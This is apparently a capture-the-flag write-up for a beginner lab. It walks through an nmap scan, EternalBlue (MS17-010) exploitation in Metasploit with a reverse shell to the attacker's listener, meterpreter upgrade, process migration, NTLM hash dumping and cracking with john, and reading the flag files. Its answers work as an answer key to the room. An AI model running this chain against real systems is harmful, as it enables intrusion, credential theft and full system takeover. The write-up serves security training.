

Task 1 Recon

Scan and learn what exploit this machine is vulnerable to. Please note that this machine does not respond to ping (ICMP) and may take a few minutes to boot up. This room is not meant to be a boot2root CTF, rather, this is an educational series for complete beginners. Professionals will likely get very little out of this room beyond basic practice as the process here is meant to be beginner-focused.

"-T4" là một tùy chọn đặt mẫu thời gian thành chế độ tích cực. Nó làm tăng tốc độ quét với chi phí có khả năng thiếu một số thông tin.

"-p-" là một tùy chọn yêu cầu Nmap quét tất cả 65.535 cổng trên máy đích. Dấu gạch nối "-" đại diện cho phạm vi của các cổng.

How many ports are open with a port number under 1000? ->3

```
(root@kali)-[/home/kali]
# nmap -T4 -p-1000 10.10.110.177
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-30 23:30 EDT
Nmap scan report for 10.10.110.177
Host is up (0.21s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
Nmap done: 1 IP address (1 host up) scanned in 3.43 seconds
```

What is this machine vulnerable to? (Answer in the form of: ms??-???, ex: ms08-067)
MS17-010


Avast
<https://www.avast.com/c-eternalblue>

EternalBlue Exploit | MS17-010 Explained | Avast

Web Jun 18, 2020 · Although the EternalBlue exploit — officially named MS17-010 by Microsoft — affects only Windows operating systems, anything that uses the SMBv1 (Server Message ...

Occupation: Cybersecurity Writer **Estimated Reading Time:** 9 mins

[Your Website Safety Check Guide](#) [What Is Cybercrime? | Definition & Examples](#) [Cyberbull](#) >



What is EternalBlue?

See this and other topics on this result

EXPLORE FURTHER

[Manually Exploiting MS17-010 | LMG Security](#)
[How to exploit MS17-010 \(Eternal Blue\) - GitHub Pages](#)

www.lmgsecurity.com
shreybs.github.io

Task 2 Gain Access

Start Metasploit

```
(root@kali)-[/home/kali]
# msfconsole

Metasploit Park, System Security Interface
Version 4.0.5, Alpha E
Ready ...
> access security
access: PERMISSION DENIED.
> access security grid
access: PERMISSION DENIED.
> access main security grid
access: PERMISSION DENIED....and ...
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!

      =[ metasploit v6.2.26-dev                               ]
+ -- --=[ 2264 exploits - 1189 auxiliary - 404 post           ]
+ -- --=[ 951 payloads - 45 encoders - 11 nops                ]
+ -- --=[ 9 evasion                                           ]

Metasploit tip: Save the current environment with the
save command, future console restarts will use this
environment again
Metasploit Documentation: https://docs.metasploit.com/
```

Find the exploitation code we will run against the machine. What is the full path of the code? (Ex: exploit/.....) exploit/windows/smb/ms17_010_eternalblue

```
msf6 > search MS17-010

Matching Modules
Full path of the code? (Ex: exploit/.....)

#  Name                                     Disclosure Date  Rank  Check  Description
-  -                                     -
0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14      average Yes    MS17-010 EternalBlue SMB Remote Win
dows Kernel Pool Corruption
1  exploit/windows/smb/ms17_010_psexec      2017-03-14      normal Yes    MS17-010 EternalRomance/EternalSyne
rgy/EternalChampion SMB Remote Windows Code Execution
2  auxiliary/admin/smb/ms17_010_command     2017-03-14      normal No     MS17-010 EternalRomance/EternalSyne
rgy/EternalChampion SMB Remote Windows Command Execution
3  auxiliary/scanner/smb/smb_ms17_010       normal          No     MS17-010 SMB RCE Detection
4  exploit/windows/smb/smb_doublepulsar_rce 2017-04-14      great  Yes    MS17-010 SMB DOUBLEPULSAR Remote Code Execut
ion

Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce
```

Show options and set the one required value. What is the name of this value? (All caps for submission) RHOSTS

```
msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > options

Module options (exploit/windows/smb/ms17_010_eternalblue):



| Name          | Current Setting | Required | Description                                                                                                                                                                     |
|---------------|-----------------|----------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| RHOSTS        |                 | yes      | The target host(s), see <a href="https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit">https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit</a> |
| RPORT         | 445             | yes      | The target port (TCP)                                                                                                                                                           |
| SMBDomain     |                 | no       | (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.                           |
| SMBPass       |                 | no       | (Optional) The password for the specified username                                                                                                                              |
| SMBUser       |                 | no       | (Optional) The username to authenticate as                                                                                                                                      |
| VERIFY_ARCH   | true            | yes      | Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.                               |
| VERIFY_TARGET | true            | yes      | Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.                                         |



Payload options (windows/x64/meterpreter/reverse_tcp):



| Name     | Current Setting | Required | Description                                               |
|----------|-----------------|----------|-----------------------------------------------------------|
| EXITFUNC | thread          | yes      | Exit technique (Accepted: '', seh, thread, process, none) |
| LHOST    | 192.168.200.168 | yes      | The listen address (an interface may be specified)        |
| LPORT    | 4444            | yes      | The listen port                                           |



Exploit target:



| Id | Name             |
|----|------------------|
| 0  | Automatic Target |



View the full module info with the info, or info -d command.
```

Usually it would be fine to run this exploit as is; however, for the sake of learning, you should do one more thing before exploiting the target. Enter the following command and press enter:

set payload windows/x64/shell/reverse_tcp

With that done, run the exploit!

Confirm that the exploit has run correctly. You may have to press enter for the DOS shell to appear. Background this shell (CTRL + Z). If this failed, you may have to reboot the target VM. Try running it again before a reboot of the target.

```

msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/shell/reverse_tcp
payload => windows/x64/shell/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST tun0
LHOST => tun0
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.35.149
RHOSTS => 10.10.35.149
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 10.18.52.203:4444
[*] 10.10.35.149:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.35.149:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.35.149:445 - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.35.149:445 - The target is vulnerable.
[*] 10.10.35.149:445 - Connecting to target for exploitation.
[+] 10.10.35.149:445 - Connection established for exploitation.
[+] 10.10.35.149:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.35.149:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.35.149:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.35.149:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.35.149:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.10.35.149:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.35.149:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.35.149:445 - Sending all but last fragment of exploit packet
[*] 10.10.35.149:445 - Starting non-paged pool grooming
[+] 10.10.35.149:445 - Sending SMBv2 buffers
[+] 10.10.35.149:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.35.149:445 - Sending final SMBv2 buffers.
[*] 10.10.35.149:445 - Sending last fragment of exploit packet!
[*] 10.10.35.149:445 - Receiving response from exploit packet
[+] 10.10.35.149:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.35.149:445 - Sending egg to corrupted connection.
[*] 10.10.35.149:445 - Triggering free of corrupted buffer.
[*] Sending stage (336 bytes) to 10.10.35.149
[*] Command shell session 1 opened (10.18.52.203:4444 -> 10.10.35.149:49168) at 2023-05-31 01:37:27 -0400
[+] 10.10.35.149:445 - -----
[+] 10.10.35.149:445 - -----WIN-----
[+] 10.10.35.149:445 - -----

Shell Banner:
Microsoft Windows [Version 6.1.7601]

```

```

Shell Banner:
Microsoft Windows [Version 6.1.7601]

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>background

Background session 1? [y/N] y
msf6 exploit(windows/smb/ms17_010_eternalblue) >

```

Task 3 Escalate

Escalate privileges, learn how to upgrade shells in metasploit.

If you haven't already, background the previously gained shell (CTRL + Z). Research online how to convert a shell to meterpreter shell in metasploit. What is the name of the post module we will use? (Exact path, similar to the exploit we previously selected) run post/multi/manage/shell_to_meterpreter

Shell to Meterpreter Upgrade - Metasploit - InfosecMatter

https://www.infosecmatter.com/metasploit-module-library/?mm=post/multi/manage/shell_to_meterpreter

Module Ranking and Traits

Module Ranking:

- normal:** The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found [here](#).

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module again that specific session:

```
meterpreter > run post/multi/manage/shell_to_meterpreter
```

Select this (use MODULE_PATH). Show options, what option are we required to change?
SESSION

```
[*] 10.10.35.149 - Meterpreter session 2 closed. Reason: Died
msf6 post(multi/manage/shell_to_meterpreter) > sessions

Active sessions

  Id  Name  Type  Information  Connection
  --  --
  1    shell x64/windows  Shell Banner: Microsoft Windows [Version 6.1.7601] 10.18.52.203:4444 → 10.10.35.149:49168 (10.10.35.149)

msf6 post(multi/manage/shell_to_meterpreter) > use post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > options

Module options (post/multi/manage/shell_to_meterpreter):

  Name      Current Setting  Required  Description
  --      -
  HANDLER   true             yes       Start an exploit/multi/handler to receive the connection
  LHOST     10.18.52.203    no        IP of host that will receive the connection from the payload (Will try to a
  LPORT     4433             yes       Port for payload to connect to.
  SESSION   1                yes       The session to run this module on

View the full module info with the info, or info -d command.
```

```
View the full module info with the info, or info -d command.

msf6 post(multi/manage/shell_to_meterpreter) > set LHOST tun0
LHOST => 10.18.52.203
msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf6 post(multi/manage/shell_to_meterpreter) > run

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.18.52.203:4433
[*] Post module execution completed
msf6 post(multi/manage/shell_to_meterpreter) >
[*] Sending stage (200774 bytes) to 10.10.35.149
[*] Meterpreter session 3 opened (10.18.52.203:4433 -> 10.10.35.149:49200) at 2023-05-31 01:50:46 -0400
[*] Stopping exploit/multi/handler

msf6 post(multi/manage/shell_to_meterpreter) > sessions

Active sessions
=====
```

<u>Id</u>	<u>Name</u>	<u>Type</u>	<u>Information</u>	<u>Connection</u>
1		shell x64/windows	Shell Banner: Microsoft Windows [Version 6.1.7601] _____	10.18.52.203:4444 -> 10.10.35.149:49168 (10.10.35.149)
3		meterpreter x64/windows	NT AUTHORITY\SYSTEM @ JON-PC	10.18.52.203:4433 -> 10.10.35.149:49200 (10.10.35.149)

Set the required option, you may need to list all of the sessions to find your target here.

Run! If this doesn't work, try completing the exploit from the previous task once more.

Once the meterpreter shell conversion completes, select that session for use.

Verify that we have escalated to NT AUTHORITY\SYSTEM. Run `getsystem` to confirm this. Feel free to open a dos shell via the command `'shell'` and run `'whoami'`. This should return that we are indeed system. Background this shell afterwards and select our meterpreter session for usage again.

List all of the processes running via the `'ps'` command. Just because we are system doesn't mean our process is. Find a process towards the bottom of this list that is running at NT AUTHORITY\SYSTEM and write down the process id (far left column).

```
msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 3
[*] Starting interaction with 3 ...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

Migrate to this process using the 'migrate PROCESS_ID' command where the process id is the one you just wrote down in the previous step. This may take several attempts, migrating processes is not very stable. If this fails, you may need to re-run the conversion process or reboot the machine and start once again. If this happens, try a different process next time.

```
Server username: NT AUTHORITY\SYSTEM
meterpreter > ps

Process List
=====
```

1180	712	svchost.exe	x64	0	NT AUTHORITY\NETWORK SERVICE	
1304	712	spoolsv.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\System32\spoolsv.exe
1340	712	svchost.exe	x64	0	NT AUTHORITY\LOCAL SERVICE	
1408	712	amazon-ssm-agent.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe

```
meterpreter > migrate 1304
[*] Migrating from 1852 to 1304 ...
[*] Migration completed successfully.
meterpreter > backdump
```


Task 4 Cracking

Dump the non-default user's password and crack it!

Within our elevated meterpreter shell, run the command 'hashdump'. This will dump all of the passwords on the machine as long as we have the correct privileges to do so. What is the name of the non-default user? -> jon

```
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
```

Copy this password hash to a file and research how to crack it. What is the cracked password? -> alqfna22

```
root@kali: /home/kali/Downloads x root@kali: /home/kali x kali@kali: ~ x
zsh: corrupt history file /home/kali/.zsh_history
(kali@kali)-[~]
$ echo "[200~Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d::~~]"> hash1.txt

(kali@kali)-[~]
$ ls
001-nmap-tcp-full  Documents  git-dumper  index1.html  Pictures  shell.phtml  Templates
Burp-Suite        Downloads  hash1.txt   Music        Public    s.phtml     Videos
Desktop           file.php  hash.txt   php-reverse-shell.phtml  reverse.phtml  SQL_check  vulniversity.txt

(kali@kali)-[~]
$ john hash1.txt --format=NT --wordlist=/usr/share/wordlists/rockyou.txt
Created directory: /home/kali/.john
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
alqfna22 (Jon)
1g 0:00:00:00 DONE (2023-05-31 01:56) 1.851g/s 18889Kp/s 18889Kc/s 18889Kc/s alqui..alpusidi
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed.
```

Task 5 Find flags!

```
meterpreter > search -f flag*
Found 6 results ...

Path                                                    Size (bytes)  Modified (UTC)
-----
c:\Users\Jon\AppData\Roaming\Microsoft\Windows\Recent\flag1.lnk 482           2019-03-17 15:26:42 -0400
c:\Users\Jon\AppData\Roaming\Microsoft\Windows\Recent\flag2.lnk 848           2019-03-17 15:30:04 -0400
c:\Users\Jon\AppData\Roaming\Microsoft\Windows\Recent\flag3.lnk 2344          2019-03-17 15:32:52 -0400
c:\Users\Jon\Documents\flag3.txt                       37            2019-03-17 15:26:36 -0400
c:\Windows\System32\config\flag2.txt                   34            2019-03-17 15:32:48 -0400
c:\flag1.txt                                             24            2019-03-17 15:27:21 -0400

meterpreter > 
```

Flag1? This flag can be found at the system root. -> flag{access_the_machine}

```
meterpreter > pwd
C:\Windows\system32
meterpreter > cd c:\\
meterpreter > pwd
c:\
meterpreter > ls
Listing: c:\

Mode                Size      Type      Last modified          Name
-----
040777/rwxrwxrwx    0        dir       2018-12-12 22:13:36 -0500 $Recycle.Bin
040777/rwxrwxrwx    0        dir       2009-07-14 01:08:56 -0400 Documents and Settings
040777/rwxrwxrwx    0        dir       2009-07-13 23:20:08 -0400 PerfLogs
040555/r-xr-xr-x   4096    dir       2019-03-17 18:22:01 -0400 Program Files
040555/r-xr-xr-x   4096    dir       2019-03-17 18:28:38 -0400 Program Files (x86)
040777/rwxrwxrwx   4096    dir       2019-03-17 18:35:57 -0400 ProgramData
040777/rwxrwxrwx    0        dir       2018-12-12 22:13:22 -0500 Recovery
040777/rwxrwxrwx   4096    dir       2019-03-17 18:35:55 -0400 System Volume Information
040555/r-xr-xr-x   4096    dir       2018-12-12 22:13:28 -0500 Users
040777/rwxrwxrwx  16384    dir       2019-03-17 18:36:30 -0400 Windows
100666/rw-rw-rw-    24        fil       2019-03-17 15:27:21 -0400 flag1.txt
000000/-----      0        fif       1969-12-31 19:00:00 -0500 hiberfil.sys
000000/-----      0        fif       1969-12-31 19:00:00 -0500 pagefile.sys

meterpreter > cat flag1.txt
flag{access_the_machine}meterpreter > 
```

Flag2? This flag can be found at the location where passwords are stored within Windows.

*Errata: Windows really doesn't like the location of this flag and can occasionally delete it. It may be necessary in some cases to terminate/restart the machine and rerun the exploit to find this flag. This relatively rare, however, it can happen.

-> flag{sam_database_elevated_access}

```
040777/rwxrwxrwx   4096    dir       2018-12-12 18:05:03 -0500 systemprofile
100666/rw-rw-rw-    34        fil       2019-03-17 15:32:48 -0400 flag2.txt
040777/rwxrwxrwx   4096    dir       2010-11-20 21:41:37 -0500 systemprofile

meterpreter > pwd
c:\Windows\System32\config
meterpreter > 
```

```
meterpreter > pwd
c:\Windows\System32\config
meterpreter > cat flag2.txt
flag{sam_database_elevated_access}meterpreter >
meterpreter > █
```

flag3? This flag can be found in an excellent location to loot. After all, Administrators usually have pretty interesting things saved. ->flag{admin_documents_can_be_valuable}

```
meterpreter > pwd
c:\Windows\System32\config
meterpreter > cd ..
meterpreter > cd ..
meterpreter > pwd
c:\Windows
meterpreter > cd ..
meterpreter > cd Users\Jon
[-] stdapi_fs_chdir: Operation failed: The system cannot find the file specified.
meterpreter > cd Users\
meterpreter > cd Jon\
meterpreter > cd Documents\
meterpreter > ls
Listing: c:\Users\Jon\Documents
```

Mode	Size	Type	Last modified	Name
040777/rwxrwxrwx	0	dir	2018-12-12 22:13:31 -0500	My Music
040777/rwxrwxrwx	0	dir	2018-12-12 22:13:31 -0500	My Pictures
040777/rwxrwxrwx	0	dir	2018-12-12 22:13:31 -0500	My Videos
100666/rw-rw-rw-	402	fil	2018-12-12 22:13:48 -0500	desktop.ini
100666/rw-rw-rw-	37	fil	2019-03-17 15:26:36 -0400	flag3.txt

```
meterpreter > █
```

```
meterpreter > ls
Listing: c:\Users\Jon\Documents
```

Mode	Size	Type	Last modified	Name
040777/rwxrwxrwx	0	dir	2018-12-12 22:13:31 -0500	My Music
040777/rwxrwxrwx	0	dir	2018-12-12 22:13:31 -0500	My Pictures
040777/rwxrwxrwx	0	dir	2018-12-12 22:13:31 -0500	My Videos
100666/rw-rw-rw-	402	fil	2018-12-12 22:13:48 -0500	desktop.ini
100666/rw-rw-rw-	37	fil	2019-03-17 15:26:36 -0400	flag3.txt

```
meterpreter > cat flag3.txt
flag{admin_documents_can_be_valuable}meterpreter > █
```